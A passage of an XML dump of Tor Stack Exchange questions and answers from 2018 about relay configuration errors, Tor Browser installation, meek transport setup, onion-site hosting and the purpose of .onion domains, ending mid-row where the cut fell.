  <row Id="17284" PostTypeId="1" CreationDate="2018-06-13T04:36:35.313" Score="0" ViewCount="441" Body="&lt;p&gt;Just set up a Tor relay on Digital Ocean running Ubuntu 16.04 using tor-relay.co and everything is seemingly going well. However, every so often the relay will cease to work and I'll get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[notice] Tor has successfully opened a circuit. Looks like client&#xA;  functionality is working.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[notice] Bootstrapped 100%: Done&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[notice] Now checking whether ORPort x.x.x.x:9001 and DirPort x.x.x.x:9030 are reachable... (this may take up to 20 minutes -- look for log messages indicating success)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[warn] Your server (x.x.x.x:9030) has not managed to confirm that its DirPort is reachable. Relays do not publish descriptors until&#xA;  their ORPort and DirPort are reachable. Please check your firewalls,&#xA;  ports, address, /etc/hosts file, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So far I've been able to remedy the problem by restarting Tor but soon after I start getting the error again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's /etc/tor/torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; DisableDebuggerAttachment 0&#xA; ContactInfo blah&#xA; ORPort 9001&#xA; SocksPort 0&#xA; RelayBandwidthBurst 1073741824&#xA; ControlPort 9051&#xA; Log notice file /var/log/tor/notices.log&#xA; ExitPolicy reject *:*&#xA; DirPort 9030&#xA; RelayBandwidthRate 1073741824&#xA; RunAsDaemon 0&#xA; Nickname HelloNSA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output of netstat -lntu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Proto Recv-Q Send-Q Local Address           Foreign Address         State      &#xA;tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN     &#xA;tcp        0      0 172.16.0.1:53           0.0.0.0:*               LISTEN     &#xA;tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     &#xA;tcp        0      0 127.0.0.1:9051          0.0.0.0:*               LISTEN     &#xA;tcp        0      0 0.0.0.0:9030            0.0.0.0:*               LISTEN     &#xA;tcp        0      0 0.0.0.0:9001            0.0.0.0:*               LISTEN     &#xA;tcp6       0      0 fcaa::1:53              :::*                    LISTEN     &#xA;tcp6       0      0 :::22                   :::*                    LISTEN     &#xA;udp        0      0 0.0.0.0:4500            0.0.0.0:*                          &#xA;udp        0      0 0.0.0.0:500             0.0.0.0:*                          &#xA;udp        0      0 127.0.0.1:53            0.0.0.0:*                          &#xA;udp        0      0 172.16.0.1:53           0.0.0.0:*                          &#xA;udp6       0      0 :::4500                 :::*                               &#xA;udp6       0      0 :::500                  :::*                               &#xA;udp6       0      0 fcaa::1:53              :::*                           &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22285" LastActivityDate="2022-03-29T07:05:45.477" Title="Dirport / Orport stop being unreachable after some time" Tags="|configuration|relays|help|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17285" PostTypeId="2" ParentId="17282" CreationDate="2018-06-13T09:32:09.310" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Sometimes websites will block Tor users because they can't tell the difference between the average Tor user and some malicious or automated traffic.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/teams/CommunityTeam/Support#MyfavoritewebsiteisblockingaccessoverTor&quot; rel=&quot;nofollow noreferrer&quot;&gt;My favorite website is blocking access over Tor!&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wait for an hour and try again. You might also want to try &lt;a href=&quot;https://desktop.telegram.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Telegram Desktop&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;br&gt;&#xA;&lt;h2&gt;See also&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#GoogleCAPTCHA&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google makes me solve a CAPTCHA or tells me I have spyware installed.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3011" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2018-06-13T09:32:09.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17287" PostTypeId="1" CreationDate="2018-06-14T23:42:14.053" Score="1" ViewCount="244" Body="&lt;p&gt;Setup my relay up about 8 hours ago, everything is going fine, no warnings. Then I get this notice. How can I investigate this to determine if the relay is configured and running properly?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[notice] Your relay has a very large number of connections to other relays. Is your outbound address the same as your relay address? Found 12 connections to 8 relays. Found 12 current canonical connections, in 0 of which we were a non-canonical peer. 4 relays had more than 1 connection, 0 had more than 2, and 0 had more than 4 connections.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22285" LastActivityDate="2019-08-09T04:04:20.417" Title="Notice: Your relay has a very large number of connections to other relays" Tags="|help|connection|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17288" PostTypeId="2" ParentId="17287" CreationDate="2018-06-14T23:42:14.053" Score="1" Body="&lt;p&gt;So I believe I found the answer to this, in case anyone stumbles across this... According to a thread on Tor's bug tracker, this is &quot;normal&quot; and is only a concern if the number is greater than 60.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting user &quot;theor&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Feel free to ignore this, if all the numbers are less than 60. (60 is 1% of a relay's 6000 connections to other relays.)&#xA;  Otherwise, please report it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This message is logged so we can make sure that a relay isn't making too many connections to other relays.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We could change the code so it logs an info-level message when the number of duplicate connections is under 1% of the number of nodes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thread: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/24841&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/24841&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22285" LastActivityDate="2018-06-14T23:42:14.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17291" PostTypeId="2" ParentId="17027" CreationDate="2018-06-15T14:00:20.263" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What's the easiest set up that gives me invisibility?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anonymity online is what Tor is created for, and the Tor Browser is the flagship product of the &lt;a href=&quot;https://torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project&lt;/a&gt;. However, there are measures to take to make it even more secure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click the Tor button &lt;strong&gt;&gt;&lt;/strong&gt; &lt;em&gt;Security Settings&lt;/em&gt; and set the security level to the safest:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1GWuv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1GWuv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;https://tb-manual.torproject.org/en-US/bridges.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridge relays&lt;/a&gt;. It makes it more difficult for censors to block Tor or identify you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Tor to a USB drive, take it with you anywhere you wish, and you will be harder to trace. If you want a portable Tor-enabled operating system, then &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; is your best bet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Then I see to make sure to use a vpn among other set ups.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't really need to combine Tor and a VPN. Look at the following Q &amp;amp; A:&lt;br&gt;&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/teams/CommunityTeam/Support#CanIuseaVPNwithTor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Can I use a VPN with Tor?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have mac and other computers and I can learn any os or program&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's a step-by-step guide to using Tor on different operating systems:&lt;br&gt;&#xA;&lt;a href=&quot;https://sites.google.com/view/howtos/how-to-circumvent-internet-censorship-with-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to Circumvent Internet Censorship with Tor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3011" LastEditorUserId="3011" LastEditDate="2018-06-18T07:46:40.517" LastActivityDate="2018-06-18T07:46:40.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17292" PostTypeId="2" ParentId="7211" CreationDate="2018-06-15T14:04:48.257" Score="1" Body="&lt;p&gt;Thanks for running a relay. (:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clients choose which relays to use based on their consensus weight. The consensus weight is assigned by the directory authorities after measuring the throughput for your relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of things that can impact the speed at which your relay can be used, including the CPU speed, CPU architecture, the network interface and the network environment around you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be that you are just unlucky and the bandwidth authorities have a poor connection to you, while you may have a really good connection to other sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bandwidth authorities will also group you with similarly rated relays when they perform the measurement, this means that your maximum measured speed is limited by the slowest relay in the group. You may have had a poor measurement when first measured, and are now limited by the group you've been placed in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't worry about the speed too much. I see currently it's 3.17MiB/s (which is 25.36Mbps), which is a very respectable speed for a relay.&lt;/p&gt;&#xA;" OwnerUserId="22285" LastActivityDate="2018-06-15T14:04:48.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17294" PostTypeId="2" ParentId="17270" CreationDate="2018-06-17T01:43:26.913" Score="0" Body="&lt;p&gt;You're trying to run Tor Browser as root, it will not run as root because it's an incredibly bad idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to install/extract and run it as a user other than root.&lt;/p&gt;&#xA;" OwnerUserId="22321" LastActivityDate="2018-06-17T01:43:26.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17295" PostTypeId="1" CreationDate="2018-06-17T03:11:08.123" Score="1" ViewCount="1837" Body="&lt;p&gt;How do I go about hosting a wordpress blog as a hidden service? Are there providers who will host it for me? Or will I have to configure it myself?&lt;/p&gt;&#xA;" OwnerUserId="22322" LastActivityDate="2022-12-23T15:59:21.963" Title="How do I host a wordpress blog on tor?" Tags="|onion-services|web-hosting|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17299" PostTypeId="2" ParentId="17186" CreationDate="2018-06-17T13:55:27.170" Score="0" Body="&lt;p&gt;I believe, by default, tor is configured to only accept connections from the local machine (i.e., SocksListenAddress 127.0.0.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you edit the torrc configuration file (e.g., /usr/local/etc/tor/torrc, etc) per wiki specifications (&lt;a href=&quot;https://trac.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/&lt;/a&gt;), you can change things such as which subnets are allowed to access the tor port(s), and which port numbers are used, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the first uses i ever made of the tor daemon (not the TorBrowser) was to create a host/port on a VM in the local subnet, and have it serve as a 'central proxy' for anyone who cared to configure the proxy settings of their local browser(s). We were not so much concerned with anonymity in our use of the tor network, but were attempting to test the behavior of our web services from &quot;outside&quot; our local subnet. (i.e. from our local network we are unable to resolve names-to or ip-addresses-of our external ip addresses)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tor network quickly solved our immediate problem, and it was easier to explain how to configure 'browser proxy settings' than it was to write detailed instructions for installing tor and/or the tor-browser on all of our supported (internal) test machines and platforms. The 'proxy server' also served as a single point-of-access for all of our intended test activities (e.g., logging, timing, handoff, etc.)&lt;/p&gt;&#xA;" OwnerUserId="22328" LastEditorUserId="22328" LastEditDate="2018-06-17T14:00:54.090" LastActivityDate="2018-06-17T14:00:54.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17300" PostTypeId="2" ParentId="17295" CreationDate="2018-06-17T14:15:03.547" Score="0" Body="&lt;p&gt;You can use one of these solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Real Hosting [&lt;a href=&quot;http://hosting6iar5zo7c.onion/]&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://hosting6iar5zo7c.onion/]&lt;/a&gt;: purchase a web space (you have to pay with bitcoin monthly or yearly) and you can also customize some letters of the onion domain. The basic service gives you 256MB of space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Prometheus_Hidden_Services [&lt;a href=&quot;http://prometh5th5t5rfd.onion/]&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://prometh5th5t5rfd.onion/]&lt;/a&gt;: with this you can run a virtual machine based in the dark web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one is free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Liberty’s Hackers [&lt;a href=&quot;http://libertygb2nyeyay.onion/]&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://libertygb2nyeyay.onion/]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post Scriptum: some of these links may be dead, last time I checked they worked. Of course the topic of your blog have to be something legal, otherwise these providers will shut your site.&lt;/p&gt;&#xA;" OwnerUserId="22314" LastActivityDate="2018-06-17T14:15:03.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17301" PostTypeId="2" ParentId="17209" CreationDate="2018-06-17T15:55:40.737" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;A node then finds &lt;strong&gt;several garlic bulbs&lt;/strong&gt; to transmit, instead of the normal single onion. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Currently, Tor is based on a strict (original) onion routing model, in which one stream can only be attached onto one and only one circuit.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2018-06-17T15:55:40.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17304" PostTypeId="2" ParentId="17284" CreationDate="2018-06-17T20:14:58.287" Score="0" Body="&lt;p&gt;Every time tor starts it does a process of connecting and verifying ports. It will try to reach the ports for about 20 minites, and if it cant reach them will throw that error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you opened the ports on the os firewall? Not familiar with digital ocean, but mabey they have some kind of control panel where you have to open ports?&lt;/p&gt;&#xA;" OwnerUserId="21788" LastActivityDate="2018-06-17T20:14:58.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17308" PostTypeId="1" CreationDate="2018-06-18T22:15:54.750" Score="1" ViewCount="5643" Body="&lt;p&gt;I'm newbie on Linux and I can't install Tor on Ubuntu (Kubuntu) the way you teach. Some applications give a step-by-step commands and it's only copy and past and includes all things to make updates automatically. It's easier for for all.&#xA;I made the upgrade from version 17 to 18 of Kubuntu and found out that Tor was available. I install it but does't work.&#xA;Can you guys help me, please?&#xA;Thank you in advance.&#xA;ruiamar&lt;/p&gt;&#xA;" OwnerUserId="22341" LastActivityDate="2020-09-07T19:02:40.260" Title="How to Install Tor browser through command line" Tags="|tor-browser-bundle|help|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17310" PostTypeId="1" CreationDate="2018-06-19T14:44:16.537" Score="1" ViewCount="539" Body="&lt;p&gt;since my Chrome [chromebook] OS is a Linux-based operating system, why cant i install tor? i'm technologically challenged so please be gentle.&lt;/p&gt;&#xA;" OwnerUserId="22349" LastActivityDate="2018-07-23T08:12:16.820" Title="Chrome with Linux-based OS" Tags="|help|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17311" PostTypeId="1" CreationDate="2018-06-19T15:54:07.803" Score="1" ViewCount="8444" Body="&lt;p&gt;When I link to &lt;a href=&quot;https://en.wikipedia.org/wiki/DuckDuckGo&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDuckGo&lt;/a&gt; from the Tor Browser it always comes up without the menu bar for DDG. This results in me not being able to change the settings, &#xA;consequently it is always loaded with search set on strict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hell there is no reason to even have tor if DDG will only let me search for kid books and recipes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone out there knows what's up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. my sequence is to open Nord VPN/Tor/DDG.&lt;/p&gt;&#xA;" OwnerUserId="22350" LastEditorUserId="12486" LastEditDate="2018-06-25T19:15:50.980" LastActivityDate="2018-07-28T04:50:37.723" Title="DuckDuckGo does not work correctly through Tor" Tags="|connection|browsers|troubleshooting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17312" PostTypeId="2" ParentId="17310" CreationDate="2018-06-19T17:08:40.623" Score="0" Body="&lt;p&gt;Chromebooks don't natively support the Tor browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can either run &lt;a href=&quot;https://tails.boum.org/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; in live or install another Linux distro via dual boot.&lt;/p&gt;&#xA;" OwnerUserId="22314" LastActivityDate="2018-06-19T17:08:40.623" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17313" PostTypeId="2" ParentId="17311" CreationDate="2018-06-19T18:49:58.417" Score="0" Body="&lt;p&gt;This is most likely because you're using the non-javascript version of Duckduckgo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this simply disable NoScript for Duckduckgo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to find out which version of DDG you're using, watch out for the url. If the url contains &lt;code&gt;/html/&lt;/code&gt; then you're using the html version.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-06-19T18:49:58.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17314" PostTypeId="2" ParentId="17308" CreationDate="2018-06-19T18:55:05.253" Score="1" Body="&lt;p&gt;The Tor binary you can install using &lt;code&gt;apt&lt;/code&gt; isn't the Tor &lt;em&gt;Browser&lt;/em&gt;. Instead it's just the normal Tor binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To install the Tor Browser on Linux see this guide: &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en#linux&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser will automatically update itself when a new version is released. For more instructions see: &lt;a href=&quot;https://tb-manual.torproject.org/en-US/updating.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tb-manual.torproject.org/en-US/updating.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-06-19T18:55:05.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17315" PostTypeId="2" ParentId="16957" CreationDate="2018-06-19T22:51:23.600" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;It is not neccesary to copy all the content, that is just and example. The key lines for a simple configuration are:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportPlugin meek exec [meek-serverLocation] --port [meek-serverPortNumber] --disable-tls  --log [FileToWriteMeekLog]&#xA; ExtORPort auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(Adding this to the &lt;em&gt;torrc&lt;/em&gt; file of your tor instance will use meek with &lt;em&gt;http&lt;/em&gt;, so you don't need the keys)&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;If you want to run meek with https, meek have to stablish a TLS connection. Than mean that you need a certificate and a private key.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With OpenSSL you can generate a private key and a self-signed certificate.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the lines to add in the &lt;em&gt;torrc&lt;/em&gt; file of your tor instance would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportPlugin meek exec [meek-serverLocation] --port [meek-serverPortNumber] --cert [yourCertLocation] --key [yourKeyLocation] --log [FileToWriteMeekLog]&#xA;ExtORPort auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Format Note: In the first configuration lines, code format is not shown if not adding also blockquote format. If someone knows how to fix this, edit please(and also delete this line if properly fixed)&lt;/p&gt;&#xA;" OwnerUserId="21350" LastEditorUserId="21350" LastEditDate="2018-06-19T22:57:56.643" LastActivityDate="2018-06-19T22:57:56.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17324" PostTypeId="1" CreationDate="2018-06-21T21:22:47.430" Score="0" ViewCount="318" Body="&lt;p&gt;What can be done to improve anonymity of Hidden Service ag ainst the &quot;Eyes&quot; or intelligence agencies like NSA, GCHQ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not loking for a bullet proof solution but only steps an operator can take to improve anonymity of his HS against big a dversaries&lt;/p&gt;&#xA;" OwnerUserId="22372" LastActivityDate="2018-12-30T13:01:30.317" Title="Hidden Services and the &quot;Eyes&quot;" Tags="|onion-services|location|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17329" PostTypeId="2" ParentId="17310" CreationDate="2018-06-23T06:43:37.573" Score="1" Body="&lt;p&gt;Chrome [chromebook] is a surveillance/tracking device made by Google. You can't use it without Google account. You are the product for the ad industry. Exactly opposite what's Tor's mission.&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2018-06-23T06:43:37.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17332" PostTypeId="1" CreationDate="2018-06-24T10:22:06.737" Score="1" ViewCount="77" Body="&lt;p&gt;I'm testing few things in Tor and I noticed that if im changing(from the source code) the number of hop's(nodes) to be more then 3 hop's it work fine(slow but still working) and if i set only 2 hop's its still works great.&#xA;but, when im setting only 1 hop i can open the Tor-browser but i can't use it to visit site(regular site and onion site too).&#xA;so i'm thinking maybe the Tor-network is protected from using one hop?&lt;/p&gt;&#xA;" OwnerUserId="21173" LastEditorUserId="21173" LastEditDate="2018-06-24T10:39:23.363" LastActivityDate="2018-08-19T20:08:58.660" Title="Is Tor-network protected from using one hop?" Tags="|tor-browser-bundle|relays|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17333" PostTypeId="1" CreationDate="2018-06-24T15:16:10.153" Score="0" ViewCount="319" Body="&lt;p&gt;I know that TOR protects me against de-anonymization by the websites / services I use. However If an attacker knows my physical location can I use TOR to hide the fact that I visit certain websites / services? &lt;/p&gt;&#xA;" OwnerUserId="22384" LastActivityDate="2018-10-26T10:17:46.360" Title="Does TOR protect against an attacker who knows your IP / physical location?" Tags="|anonymity|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17334" PostTypeId="1" CreationDate="2018-06-24T16:06:18.500" Score="1" ViewCount="711" Body="&lt;p&gt;I do understand the point of the TOR network in order to anonymize your connections, especially in states where you don't have much liberties. That's probably a good thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However what is the point of creating the .onion domain? I mean on it there is only &quot;illegal&quot;/&quot;bad thing&quot; (selling drugs, weapons, etc...).&#xA;If someone wants to write some content in repressive states, he can use the TOR network or VPN to get a hosting in a country where he can express what he wants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I understand the point the creation of the TOR network, it probably brings good thing to the humanity. But what about the .onion domain? I can see only bad things from that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please explain.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="22385" LastActivityDate="2018-09-24T02:00:50.893" Title="What is the purpose of the .onion domain?" Tags="|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17335" PostTypeId="1" CreationDate="2018-06-24T18:25:09.957" Score="5" ViewCount="995" Body="&lt;p&gt;I've read than if an attacker could control both entry and exit node into the tor network he could easily de-anonymize TOR users. I have also read that TOR chooses nodes at random. So my question is wouldn't it be better to ensure that nodes are chosen from different countries (and therefore jurisdictions). I mean the network could still choose nodes at random from within different countries? (See pictures below for an example what should be avoided)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CvlSt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CvlSt.png&quot; alt=&quot;Example where nodes are chosen from the same country&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also have entry and exit node in the same country!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f9txH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f9txH.png&quot; alt=&quot;Entry and exit nodes within the same country&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I did not manually choose nodes I just pressed &quot;New Tor Circuit for this site&quot; until the shown constellations appeared.&lt;/p&gt;&#xA;" OwnerUserId="21621" LastEditorUserId="21621" LastEditDate="2018-07-05T13:09:03.880" LastActivityDate="2020-01-27T18:00:45.293" Title="Why does TOR not intentionally choose nodes from different countries?" Tags="|deanonymization|attacks|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17336" PostTypeId="1" CreationDate="2018-06-24T19:00:47.987" Score="1" ViewCount="782" Body="&lt;p&gt;Cloudflare &lt;a href=&quot;https://blog.cloudflare.com/welcome-hidden-resolver/&quot; rel=&quot;nofollow noreferrer&quot;&gt;recently announced&lt;/a&gt; their new &quot;hidden DNS resolver&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dns4torpnlfs2ifuz2s2yf3fc7rdmsbhm6rw75euj35pac6ap25zgqad.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dns4torpnlfs2ifuz2s2yf3fc7rdmsbhm6rw75euj35pac6ap25zgqad.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if it can be used with the tor browser or the tor binary for Debian/Ubuntu. Does it make sense to configure TBB to use this service?&lt;/p&gt;&#xA;" OwnerUserId="22387" LastActivityDate="2019-01-12T21:43:55.093" Title="Cloudflare's new .onion DNS resolver?" Tags="|tor-browser-bundle|configuration|dns|browsers|cloudflare|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17337" PostTypeId="2" ParentId="17334" CreationDate="2018-06-25T00:42:40.077" Score="1" Body="&lt;p&gt;To my understanding the main point of an onion address is that they are free to be created yourself and publish within the Tor network. They require no central trust or regulating authority to setup and publish, therefore, in their very nature, help promote a free and open internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &quot;clearnet&quot; sites, or, more specifically, sites registered under one of the ICANN top level domain names, we all rely on central regulating authorities. This involves mostly likely a fee that can vary widely depending on your domain name of choice. Also you are having to trust that the third party does not give your domain away to someone else for whatever reason they may choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a web developer myself I find it pretty clever. I'm still new to this space but if I have been reading correctly I can publish my own website on the Tor network from my home PC, that I can then access from anywhere on the internet (once I connect to the Tor network from out in the world). All without having to register my domain to some third party, and pay yearly fees, as well as avoid paying for an SSL certificate (because I can generate the certificate for my onion site myself). As long as I don't overly care about the address of my personal site (which I intend only for personal use) this is a great, low to no cost approach to having a website ran from my home machine that I can then access elsewhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use cases of an onion site are whatever you want it to be. Its advantage is that it is free to create. Its restriction is that it is always 16 characters, lowercase with numbers 2 through 7. And you don't have (too much) control over the name of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/HiddenServiceNames&quot; rel=&quot;nofollow 